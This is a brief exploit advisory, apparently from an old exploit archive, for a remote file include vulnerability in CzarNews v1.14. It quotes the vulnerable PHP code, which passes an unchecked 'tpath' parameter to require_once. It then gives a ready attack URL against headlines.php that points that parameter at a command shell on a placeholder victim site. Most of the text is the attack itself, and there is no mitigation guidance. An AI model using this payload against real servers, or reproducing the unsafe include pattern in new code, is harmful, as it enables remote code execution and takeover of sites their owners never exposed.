# SaVSaK.CoM | SpC-x - The-BeKiR | # CzarNews v1.14 Version - Remote File Include Vulnerabilities # Risk : High # Class: Remote # Script : CzarNews # Credits : SpC-x # Thanks : The-BeKiR - Ejder - FasTBoY - ERNE - RMx - Nukedx - Str0ke # Code : # if(file_exists($tpath . "cn_config.php")) # require_once($tpath . "cn_config.php"); # Vulnerable : # http://www.victim.com/CzarNews/headlines.php?tpath=Command-Shell